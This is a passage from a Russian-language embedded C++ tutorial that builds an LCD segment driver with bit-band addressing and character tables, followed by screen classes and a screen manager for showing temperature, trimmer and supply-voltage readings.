#define SEG\_EL(seg,com) (volatile tU32 \*)(PERIPH\_BASE + 0x2000000 + ((0x2400 + 0x14 + ((com\*2) + ((seg<32)?0:1))\*4)\*32) + (SEG\_MASK(seg)\*4))
#define SEG\_A ((tU32)1<<0)
#define SEG\_B ((tU32)1<<1)
#define SEG\_C ((tU32)1<<2)
#define SEG\_D ((tU32)1<<3)
#define SEG\_E ((tU32)1<<4)
#define SEG\_F ((tU32)1<<5)
#define SEG\_G ((tU32)1<<6)
#define SEG\_H ((tU32)1<<7)
#define SEG\_J ((tU32)1<<8)
#define SEG\_K ((tU32)1<<9)
#define SEG\_M ((tU32)1<<10)
#define SEG\_N ((tU32)1<<11)
#define SEG\_P ((tU32)1<<12)
#define SEG\_Q ((tU32)1<<13)
#define SEG\_DP ((tU32)1<<14)
#define SEG\_COL ((tU32)1<<15)
// Сегменты больших символов на нижней(Большой) строке
// \_\_\_\_\_\_\_a\_\_\_\_\_\_\_
// |\ | /|
// f h j k b |col
// | \ | / |
// |\_\_\_g\_\_\ /\_\_m\_\_\_|
// | / \ | |
// e q p n c
// | / | \ |
// |/\_\_\_\_\_\_d\_\_\_\_\_\_\| |dp
#define Symbol\_20 (tU32)0
#define Symbol\_21 (tU32)0
#define Symbol\_22 (tU32)0
#define Symbol\_23 (tU32)0
#define Symbol\_24 (tU32)0
#define Symbol\_25 (tU32)0
#define Symbol\_26 (tU32)0
#define Symbol\_27 (tU32)0
#define Symbol\_28 (tU32)0
#define Symbol\_29 (tU32)0
#define Symbol\_2A (tU32)0
#define Symbol\_2B (SEG\_J | SEG\_M | SEG\_P | SEG\_G) //символ '+'
#define Symbol\_2C (SEG\_DP) //символ ','
#define Symbol\_2D (SEG\_J | SEG\_M) //символ '-'
#define Symbol\_2E (SEG\_DP) //символ '.'
#define Symbol\_2F (SEG\_K | SEG\_Q) //символ '/'
#define Digit\_0 (SEG\_A | SEG\_B | SEG\_C | SEG\_D | SEG\_E | SEG\_F | SEG\_H | SEG\_N)
#define Digit\_1 (SEG\_B | SEG\_C)
#define Digit\_2 (SEG\_A | SEG\_B | SEG\_G | SEG\_E | SEG\_D | SEG\_M)
#define Digit\_3 (SEG\_A | SEG\_B | SEG\_C | SEG\_D | SEG\_G | SEG\_M)
#define Digit\_4 (SEG\_F | SEG\_B | SEG\_C | SEG\_G | SEG\_M)
#define Digit\_5 (SEG\_A | SEG\_F | SEG\_G | SEG\_C | SEG\_D | SEG\_M)
#define Digit\_6 (SEG\_A | SEG\_F | SEG\_G | SEG\_C | SEG\_D | SEG\_E | SEG\_M)
#define Digit\_7 (SEG\_A | SEG\_B | SEG\_C)
#define Digit\_8 (SEG\_A | SEG\_B | SEG\_C | SEG\_D | SEG\_E | SEG\_F | SEG\_G | SEG\_M)
#define Digit\_9 (SEG\_A | SEG\_B | SEG\_C | SEG\_D | SEG\_F | SEG\_G | SEG\_M)
#define Symbol\_3A (SEG\_DP) // символ ':'
#define Symbol\_3B (SEG\_COL) // символ ';'
#define Symbol\_3C (SEG\_K | SEG\_N) // символ '<'
#define Symbol\_3D (SEG\_A | SEG\_G | SEG\_M) //символ '='
#define Symbol\_3E (SEG\_H | SEG\_Q) //символ '>'
#define Symbol\_3F (tU32)0 //символ '?' будет у нас пробелом :)
#define Symbol\_40 (SEG\_D | SEG\_E | SEG\_F | SEG\_A | SEG\_B | SEG\_M| SEG\_J) // '@'
#define Symbol\_A (SEG\_A | SEG\_B | SEG\_C | SEG\_E | SEG\_F | SEG\_G | SEG\_M)
#define Symbol\_B (SEG\_A | SEG\_K | SEG\_N | SEG\_D | SEG\_E | SEG\_G | SEG\_F)
#define Symbol\_C (SEG\_A | SEG\_D | SEG\_E | SEG\_F)
#define Symbol\_D (SEG\_A | SEG\_B | SEG\_C | SEG\_D | SEG\_J | SEG\_P)
#define Symbol\_E (SEG\_A | SEG\_G | SEG\_M | SEG\_D | SEG\_E | SEG\_F)
#define Symbol\_F (SEG\_A | SEG\_G | SEG\_M | SEG\_E | SEG\_F)
#define Symbol\_G (SEG\_A | SEG\_N | SEG\_D | SEG\_E | SEG\_F)
#define Symbol\_H (SEG\_F | SEG\_E | SEG\_G | SEG\_M | SEG\_B | SEG\_C)
#define Symbol\_I (SEG\_G | SEG\_P)
#define Symbol\_J (SEG\_B | SEG\_C | SEG\_D)
#define Symbol\_K (SEG\_F | SEG\_E | SEG\_G | SEG\_K | SEG\_N)
#define Symbol\_L (SEG\_F | SEG\_E | SEG\_D)
#define Symbol\_M (SEG\_E | SEG\_F | SEG\_H | SEG\_K | SEG\_B | SEG\_C)
#define Symbol\_N (SEG\_E | SEG\_F | SEG\_H | SEG\_N | SEG\_B | SEG\_C)
#define Symbol\_O Symbol\_D
#define Symbol\_P (SEG\_E | SEG\_F | SEG\_A | SEG\_B | SEG\_M | SEG\_G)
#define Symbol\_Q (SEG\_A | SEG\_B | SEG\_C | SEG\_D | SEG\_E | SEG\_F | SEG\_N)
#define Symbol\_R (SEG\_A | SEG\_B | SEG\_M | SEG\_N | SEG\_G | SEG\_E | SEG\_F)
#define Symbol\_S (SEG\_A | SEG\_F | SEG\_G | SEG\_M | SEG\_C | SEG\_D)
#define Symbol\_T (SEG\_A | SEG\_J | SEG\_P)
#define Symbol\_U (SEG\_F | SEG\_E | SEG\_D | SEG\_C | SEG\_B)
#define Symbol\_V (SEG\_H | SEG\_N | SEG\_C | SEG\_B)
#define Symbol\_W (SEG\_F | SEG\_E | SEG\_Q | SEG\_N | SEG\_C | SEG\_B)
#define Symbol\_X (SEG\_H | SEG\_Q | SEG\_N | SEG\_K)
#define Symbol\_Y (SEG\_H | SEG\_K | SEG\_P)
#define Symbol\_Z (SEG\_A | SEG\_K | SEG\_Q | SEG\_D)
#define BIG\_SYMBOL\_SIZE (16) //1 символ 16 сегментов,включая двоеточие и точку
// 1 символ начинается со смещения 2 (+ и - пропускается), дальше см таблицу pTableSegs
#define Big\_Digit\_0\_offset (tU32)2
#define Big\_Digit\_1\_offset (tU32)18
#define Big\_Digit\_2\_offset (tU32)34
#define Big\_Digit\_3\_offset (tU32)50
#define Big\_Digit\_4\_offset (tU32)66
#define Big\_Digit\_5\_offset (tU32)82
#define Big\_Digit\_6\_offset (tU32)97
// У нас 7 цифр на дисплее, это массив для сдвига в количестве сегментов для каждой из цифр.
const tU32 cLcdDriver::bigDigitOffset[] =
{
Big\_Digit\_0\_offset, Big\_Digit\_1\_offset,
Big\_Digit\_2\_offset, Big\_Digit\_3\_offset,
Big\_Digit\_4\_offset, Big\_Digit\_5\_offset,
Big\_Digit\_6\_offset
};
//таблица конвертации (ASCI кода буквы - ASCI код ' '(пробела)) в значение на сегментах индикатора
const tU32 cLcdDriver::charToLcdSymbol[] =
{
Symbol\_20,
Symbol\_21, Symbol\_22, Symbol\_23, Symbol\_24, Symbol\_25,
Symbol\_27, Symbol\_27, Symbol\_28, Symbol\_29, Symbol\_2A,
Symbol\_2B, Symbol\_2C, Symbol\_2D, Symbol\_2E, Symbol\_2F,
Digit\_0, Digit\_1, Digit\_2, Digit\_3, Digit\_4,
Digit\_5, Digit\_6, Digit\_7, Digit\_8, Digit\_9,
Symbol\_3A, Symbol\_3B, Symbol\_3C, Symbol\_3D,
Symbol\_3D, Symbol\_3F, Symbol\_40, Symbol\_A,
Symbol\_B, Symbol\_C, Symbol\_D, Symbol\_E, Symbol\_F,
Symbol\_G, Symbol\_H, Symbol\_I, Symbol\_J, Symbol\_K,
Symbol\_L, Symbol\_M, Symbol\_N, Symbol\_O, Symbol\_P,
Symbol\_Q, Symbol\_R, Symbol\_S, Symbol\_T, Symbol\_U,
Symbol\_V, Symbol\_W, Symbol\_X, Symbol\_Y, Symbol\_Z
};
//таблица с адресами для bitBandinga для каждого сегмента
volatile tU32\* cLcdDriver::pTableSegs[] =
{
SEG\_EL(39,3), // + 0
SEG\_EL(39,0), // - 1
SEG\_EL(37,3), // 1A 2
SEG\_EL(37,2), // 1B 3
SEG\_EL(37,1), // 1C 4
SEG\_EL(37,0), // 1D 5
SEG\_EL(39,1), // 1E 6
SEG\_EL(39,2), // 1F 7
SEG\_EL(38,2), // 1G 8
SEG\_EL(38,3), // 1H 9
SEG\_EL(36,3), // 1J 10
SEG\_EL(36,2), // 1K 11
SEG\_EL(36,1), // 1M 12
SEG\_EL(36,0), // 1N 13
SEG\_EL(38,0), // 1P 14
SEG\_EL(38,1), // 1Q 15
SEG\_EL(35,0), // 1DP 16
SEG\_EL(35,3), // 2COL 17
SEG\_EL(33,3), // 2A 18
SEG\_EL(33,2), // 2B 19
SEG\_EL(33,1), // 2C 20
SEG\_EL(33,0), // 2D 21
SEG\_EL(35,1), // 2E 22
SEG\_EL(35,2), // 2F 23
SEG\_EL(34,2), // 2G 24
SEG\_EL(34,3), // 2H 25
SEG\_EL(32,3), // 2J 26
SEG\_EL(32,2), // 2K 27
SEG\_EL(32,1), // 2M 28
SEG\_EL(32,0), // 2N 29
SEG\_EL(34,0), // 2P 30
SEG\_EL(34,1), // 2Q 31
SEG\_EL(31,0), // 2DP 32
SEG\_EL(31,3), // 3COL 33
SEG\_EL(29,3), // 3A 34
SEG\_EL(29,2), // 3B 35
SEG\_EL(29,1), // 3C 36
SEG\_EL(29,0), // 3D 37
SEG\_EL(31,1), // 3E 38
SEG\_EL(31,2), // 3F 39
SEG\_EL(30,2), // 3G 40
SEG\_EL(30,3), // 3H 41
SEG\_EL(28,3), // 3J 42
SEG\_EL(28,2), // 3K 43
SEG\_EL(28,1), // 3M 44
SEG\_EL(28,0), // 3N 45
SEG\_EL(30,0), // 3P 46
SEG\_EL(30,1), // 3Q 47
SEG\_EL(27,0), // 3DP 48
SEG\_EL(27,3), // 4COL 49
SEG\_EL(25,3), // 4A 50
SEG\_EL(25,2), // 4B 51
SEG\_EL(25,1), // 4C 52
SEG\_EL(25,0), // 4D 53
SEG\_EL(27,1), // 4E 54
SEG\_EL(27,2), // 4F 55
SEG\_EL(26,2), // 4G 56
SEG\_EL(26,3), // 4H 57
SEG\_EL(24,3), // 4J 58
SEG\_EL(24,2), // 4K 59
SEG\_EL(24,1), // 4M 60
SEG\_EL(24,0), // 4N 61
SEG\_EL(26,0), // 4P 62
SEG\_EL(26,1), // 4Q 63
SEG\_EL(23,0), // 4DP 64
SEG\_EL(23,3), // 5COL 65
SEG\_EL(21,3), // 5A 66
SEG\_EL(21,2), // 5B 67
SEG\_EL(21,1), // 5C 68
SEG\_EL(21,0), // 5D 69
SEG\_EL(23,1), // 5E 70
SEG\_EL(23,2), // 5F 71
SEG\_EL(22,2), // 5G 72
SEG\_EL(22,3), // 5H 73
SEG\_EL(20,3), // 5J 74
SEG\_EL(20,2), // 5K 75
SEG\_EL(20,1), // 5M 76
SEG\_EL(20,0), // 5N 77
SEG\_EL(22,0), // 5P 78
SEG\_EL(22,1), // 5Q 79
SEG\_EL(19,0), // 5DP 80
SEG\_EL(19,3), // 6COL 81
SEG\_EL(17,3), // 6A 82
SEG\_EL(17,2), // 6B 83
SEG\_EL(17,1), // 6C 84
SEG\_EL(17,0), // 6D 85
SEG\_EL(19,1), // 6E 86
SEG\_EL(19,2), // 6F 87
SEG\_EL(18,2), // 6G 88
SEG\_EL(18,3), // 6H 89
SEG\_EL(16,3), // 6J 90
SEG\_EL(16,2), // 6K 91
SEG\_EL(16,1), // 6M 92
SEG\_EL(16,0), // 6N 93
SEG\_EL(18,0), // 6P 94
SEG\_EL(18,1), // 6Q 95
SEG\_EL(15,0), // 6DP 96
SEG\_EL(13,3), // 7A 97
SEG\_EL(13,2), // 7B 98
SEG\_EL(13,1), // 7C 99
SEG\_EL(13,0), // 7D 100
SEG\_EL(15,1), // 7E 101
SEG\_EL(15,2), // 7F 102
SEG\_EL(14,2), // 7G 103
SEG\_EL(14,3), // 7H 104
SEG\_EL(12,3), // 7J 105
SEG\_EL(12,2), // 7K 106
SEG\_EL(12,1), // 7M 107
SEG\_EL(12,0), // 7N 108
SEG\_EL(14,0), // 7P 109
SEG\_EL(14,1), // 7Q 110
SEG\_EL(1 ,3), // A1 111
SEG\_EL(1 ,2), // A2 112
SEG\_EL(1 ,1), // A3 113
SEG\_EL(1 ,0), // A4 114
SEG\_EL(2 ,0), // BRBL 115
SEG\_EL(2 ,3), // B0 116
SEG\_EL(2 ,2), // B1 117
SEG\_EL(2 ,1), // B2 118
SEG\_EL(0 ,3), // PL 119
SEG\_EL(0 ,2), // P0 120
SEG\_EL(0 ,1), // P1 121
SEG\_EL(0 ,0), // P2 122
SEG\_EL(43,0), // P3 123
SEG\_EL(43,1), // P4 124
SEG\_EL(43,2), // P5 125
SEG\_EL(43,3), // P6 126
SEG\_EL(42,3), // P7 127
SEG\_EL(42,2), // P8 128
SEG\_EL(42,1), // P9 129
SEG\_EL(42,0), // PR 130
SEG\_EL(3 ,0), // AL 131
SEG\_EL(3 ,1), // AU 132
SEG\_EL(3 ,2), // AR 133
SEG\_EL(3 ,3), // AD 134
SEG\_EL(15,3), // SB 135
SEG\_EL(10,0), // 8A 136
SEG\_EL(10,1), // 8B 137
SEG\_EL(10,2), // 8C 138
SEG\_EL(11,3), // 8D 139
SEG\_EL(11,2), // 8E 140
SEG\_EL(11,0), // 8F 141
SEG\_EL(11,1), // 8G 142
SEG\_EL(10,3), // 8P 143
SEG\_EL(8 ,0), // 9A 144
SEG\_EL(8 ,1), // 9B 145
SEG\_EL(8 ,2), // 9C 146
SEG\_EL(9 ,3), // 9D 147
SEG\_EL(9 ,2), // 9E 148
SEG\_EL(9 ,0), // 9F 149
SEG\_EL(9 ,1), // 9G 150
SEG\_EL(8 ,3), // 10P 151
SEG\_EL(7 ,3), // 10COLON 152
SEG\_EL(7 ,0), // 10A 153
SEG\_EL(6 ,0), // 10B 154
SEG\_EL(6 ,2), // 10C 155
SEG\_EL(6 ,3), // 10D 156
SEG\_EL(7 ,2), // 10E 157
SEG\_EL(7 ,1), // 10F 158
SEG\_EL(6 ,1), // 10G 159
SEG\_EL(5 ,0), // 11A 160
SEG\_EL(4 ,0), // 11B 161
SEG\_EL(4 ,2), // 11C 162
SEG\_EL(4 ,3), // 11D 163
SEG\_EL(5 ,2), // 11E 164
SEG\_EL(5 ,1), // 11F 165
SEG\_EL(4 ,1), // 11G 166
};
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: constructor
\* Description:
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
cLcdDriver::cLcdDriver(void)
{
this->updateDisplay();
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: showBigString
\* Description: Выводит информацию в нижнюю(большую)строку на индикаторе.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cLcdDriver::showBigString(const char\* pStr)
{
tU32 digitPlace = 0;
tBoolean bDot = FALSE; //флаг установки точки
const char \*pNextChar = pStr;
pNextChar++;
//заполняем регистры RAM индиактора новыми данными
//проверяем следующий символ, если он равено точке или запятой
//ставим флаг необходимости установки сегмента точки в TRUE
//Пустые символы заполняются пробелами
while (digitPlace < BIG\_SYMBOLS\_COUNT)
{
if (( \*pNextChar == '.' ) || (\*pNextChar == ','))
{
bDot = TRUE;
}
if ((\*pStr != '.') && (\*pStr != ','))
{
if (\*pStr != NULL)
{
this->showBigSymbol(digitPlace, \*pStr, bDot);
}
else
{
this->showBigSymbol(digitPlace, ' ', FALSE);
}
digitPlace++;
}
pStr++;
pNextChar++;
bDot = FALSE;
}
//Запрашиваем обновления дисплея
this->updateDisplay();
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: showBigSymbol
\* Description: Записывает большой(нижней строки) символ в память индикатора,
\* но не выводит его индикатор
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cLcdDriver::showBigSymbol(const tU32 digitPlace,
const char character, const tBoolean bDot)
{
ASSERT(character > 0);
ASSERT(character < 61);
volatile tU32 \*\*p\_data = &this->pTableSegs[this->bigDigitOffset[digitPlace]];
tU32 mask = charToLcdSymbol[character - ' '];
//Если надо установить точку, устанавливаем доп сегмент точки
if (bDot == TRUE)
{
mask |= SEG\_DP;
}
// устанавливаем биты в регистрах памяти LCD->RAM через битБендинг
for(tU32 i = 0, j = 1; i < BIG\_SYMBOL\_SIZE; i++, j <<= 1)
{
if(mask & j)
{
\*\*p\_data = 1;
}
else
{
\*\*p\_data = 0;
}
++p\_data;
}
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: isReady
\* Description: Проверяем готовность индикатора
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
tBoolean cLcdDriver::isReady(void)
{
tBoolean result = FALSE;
if (!CHECK\_BITS\_SET(LCD->SR,LCD\_SR\_UDR))
{
result = TRUE;
}
return result;
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: updateDisplay
\* Description: Выполняет запрос на обновление дисплея, вызвывается каждый раз
\* после обновления памяти LCD
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cLcdDriver::updateDisplay(void)
{
SETBIT(LCD->SR, LCD\_SR\_UDR);
}
```
Проверял я это просто, создавая напрямую объект драйвера индикатора в main() функции вот так:
```
cLcdDriver *pLcdDriver = new cLcdDriver();
pLcdDriver->showBigString("H.E.L.L.O");
```
#### Разработка: Логика вывода инофрмации на индикатор
Ну вот и все с драйвером покончено. Пора приступить к логике вывода информации на индикатор. Я решил немного обдумать и не кидаться сразу делать активный класс, а подумать как формировать экраны. Поскольку у нас 3 разных переменных, которые и выводиться то должны по разному, то должно быть три разных класса экранов для каждой из переменной. Но управлять хотелось ими как одним. Поэтому нужно было вначале нарисовать единый интерфейс для всех экранов. Все экраны как минимум должны иметь доступ к драйверу индикатора и переменным. Драйвер у нас это cLcdDriver класс, а все переменные находятся в контейнере cVariableDirector, ну и экран должен уметь рисовать сам себя. А теперь рисуем мы:

Самое время нарисовать наследников для вывода экранов Температуры, Vdda и Триммера. Они просто должны реализовывать один виртуальный метод show(), и потому все выглядит очень тривиально:

При реализации, выбирал метод преобразования tF32 в строку, и решил не париться, использовал старого знакомого sprintf, можно было бы написать класс утилитку для конвертации, но не стал, а потому реализация выглядит так:
**iscreen.h**
```
#include "types.h" //Стандартные типы проекта
#include "lcddriver.h" //для cLcdDriver
#include "variablesdirector.h" // для cVariableDirector
class iScreen
{
public:
explicit iScreen(cLcdDriver *pLcdDriver, const cVariablesDirector *pVariablesDirector);
virtual void show(void) = 0;
protected:
cLcdDriver *pLcdDriver;
const cVariablesDirector *pVariablesDirector;
};
```
**iscreen.cpp**
```
#include "iscreen.h" // описание класса
#include "susuassert.h" // для ASSERT
/*******************************************************************************
* Function: constructor
* Description:
******************************************************************************/
iScreen::iScreen(cLcdDriver *pLcdDriver,
const cVariablesDirector *pVariablesDirector)
{
ASSERT(pLcdDriver != NULL);
ASSERT(pVariablesDirector != NULL);
this->pLcdDriver = pLcdDriver;
this->pVariablesDirector = pVariablesDirector;
}
```
**screentemperature.h**
```
#include "lcddriver.h" //для cLcdDriver
#include "variablesdirector.h" // для cVariableDirector
#include "iscreen.h" //для iScreen
class cScreenTemperature : public iScreen
{
public:
explicit cScreenTemperature(cLcdDriver *pLcdDriver, const cVariablesDirector *pVariablesDirector);
void show(void);
};
```
**screentemperature.cpp**
```
#include "screentemperature.h" // описание класса
#include "types.h" // стандартные типы проекта
#include // для sprintf
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: constructor
\* Description:
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
cScreenTemperature::cScreenTemperature(cLcdDriver \*pLcdDriver, const cVariablesDirector \*pVariablesDirector) : iScreen(pLcdDriver, pVariablesDirector)
{
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: show
\* Description: Показывает текущую температуру
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cScreenTemperature::show(void)
{
char str[10];
tF32 value = this->pVariablesDirector->pTemperature->getValue();
sprintf(str, "T %4.1f C", value);
this->pLcdDriver->showBigString(str);
}
```
**screentrimmer.h**
```
include "lcddriver.h" //для cLcdDriver
#include "variablesdirector.h" // для cVariableDirector
#include "iscreen.h" //для iScreen
class cScreenTrimmer : public iScreen
{
public:
explicit cScreenTrimmer(cLcdDriver *pLcdDriver, const cVariablesDirector *pVariablesDirector);
void show(void);
};
```
**screentrimmer.cpp**
```
#include "screentrimmer.h" // описание класса
#include "types.h" // стандартные типы проекта
#include // для sprintf
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: constructor
\* Description:
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
cScreenTrimmer::cScreenTrimmer(cLcdDriver \*pLcdDriver, const cVariablesDirector \*pVariablesDirector) : iScreen(pLcdDriver, pVariablesDirector)
{
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Function: show
\* Description: Показывает текущее значение на переменном резисторе
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void cScreenTrimmer::show(void)
{
char str[10];
tF32 value = this->pVariablesDirector->pTrimmer->getValue();
sprintf(str, "P %3.2f V", value);
this->pLcdDriver->showBigString(str);
}
```
Ну что же теперь нужен класс для управления всем этим ~~хозяйством~~ семейством, а назовем его cScreenManager. Вспомним про требования: SR3: При нажатии на **кнопку 1**, на **индикаторе** должен показываться экран со следующей измеряемой переменной. Ага значит нам нужен метод NextScreen(). А следующее требование говорит: SR5: При нажатии на **кнопку 2**, на **индикаторе** должен поменяться режим отображения переменных с постоянного показывания переменной на последовательное (менять экраны раз в 1.5 секунды) при следующем нажатии с последовательного на постоянное. Не трудно угадать, что нужный метод должен называться NextMode() :)
Кроме того этот cScreenManager должен создавать все типы экранов (у нас их три cTemperatureScreen, cTrimmerScreen и сVddaScreen), но работать с ними должен через единый интерфейс, поэтому все созданные экраны будут храниться в массиве iScreen \*pScreen[SCREEN\_NUM];
Итак, снова рисуем для наглядности:

И неотходя от кассы реализуем:
**screenmanager.h**
```
#include "types.h" //Стандартные типы проекта
#include "iscreen.h" //для iScreen
#define SCREEN_NUM (tU32)3
#define TEMPERATURE_SCREEN_ID (tU32)0
#define TRIMMER_SCREEN_ID (tU32)1
#define VDDA_SCREEN_ID (tU32)2
typedef enum
{
SM_single = 0,
SM_sequence = 1
}tScreenMode;
class cScreenManager
{
public:
explicit cScreenManager(cLcdDriver *pLcdDriver,
const cVariablesDirector *pVariablesDirector);
void nextScreen(void);
void nextMode(void);
void show(void);
private:
iScreen *pScreen[SCREEN_NUM];
iScreen *pCurrentScreen;
tU32 screenId;
tScreenMode eMode;
};
```
**screenmanager.cpp**
```
#include "screenmanager.h" // описание класса
#include "screentemperature.h" //для ScreenTemperature
#include "screentrimmer.h" //для сScreenTrimmer
#include "screenvdda.h" //для сScreenVdda
#include "susuassert.h" // для ASSERT
/*******************************************************************************
* Function: constructor
* Description: Создает 3 скрина для температуры, потенциометра и Vdda
******************************************************************************/
cScreenManager::cScreenManager(cLcdDriver *pLcdDriver, const cVariablesDirector *pVariablesDirector)
{
ASSERT(pLcdDriver != NULL);
ASSERT(pVariablesDirector != NULL);
this->pScreen[TEMPERATURE_SCREEN_ID] =
(iScreen*)(new cScreenTemperature(pLcdDriver, pVariablesDirector));
this->pScreen[TRIMMER_SCREEN_ID] =
(iScreen*)(new cScreenTrimmer(pLcdDriver, pVariablesDirector));
this->pScreen[VDDA_SCREEN_ID] =
(iScreen*)(new cScreenVdda(pLcdDriver, pVariablesDirector));
this->screenId = TEMPERATURE_SCREEN_ID;
this->pCurrentScreen = this->pScreen[this->screenId];
this->eMode = SM_single;
}
/*******************************************************************************
* Function: show
* Description: Показывает текущий скрин, и в зависимости от режима выбираем следующий для показа скрин
******************************************************************************/
void cScreenManager::show(void)
{
switch (eMode)
{
case SM_single:
this->pCurrentScreen->show();
break;
case SM_sequence:
this->pCurrentScreen->show();
this->nextScreen();
break;
default:
break;
}
}
/*******************************************************************************
* Function: nextScreen
* Description: перемещаемся на следующий срин
******************************************************************************/
void cScreenManager::nextScreen(void)
{
this->screenId ++;
if (this->screenId >= SCREEN_NUM)
{
this->screenId = TEMPERATURE_SCREEN_ID;
}
this->pCurrentScreen = this->pScreen[this->screenId];
}
/*******************************************************************************
* Function: nextMode
* Description: устанавливаем следующий режим показа скринов
******************************************************************************/
void cScreenManager::nextMode(void)
{
if (this->eMode == SM_single)
{
this->eMode = SM_sequence;
}
else
{
this->eMode = SM_single;
}
}
```
Ну что же, остался последний штрих — сделать активный объект для периодического вывода инфы на индикатор:

А реализация вообще проста и понятна:
**lcddirector.h**
```
#include "iactiveobject.h" //lint !e537 Для интерфейса iActiveObject
#include "lcddriver.h" //lint !e537 Для cLcdDriver
#include "screenmanager.h" //lint !e537 Для cScreenManager
#include "variablesdirector.h" //lint !e537 Для pVariableDirector
class cLcdDirector : public iActiveObject
{
public:
explicit cLcdDirector(const cVariablesDirector *pVariableDirector);
virtual void run(void);
private:
cLcdDriver* pLcdDriver;
cScreenManager *pScreenManager;
};
```
```
#include "lcddirector.h" // Определение класса
#include "susuassert.h" // Для ASSERT
#include "types.h" // Стандартные типы проекта
#include "buttonscontroller.h" // Для tButton
#include // Для ULONG\_MAX
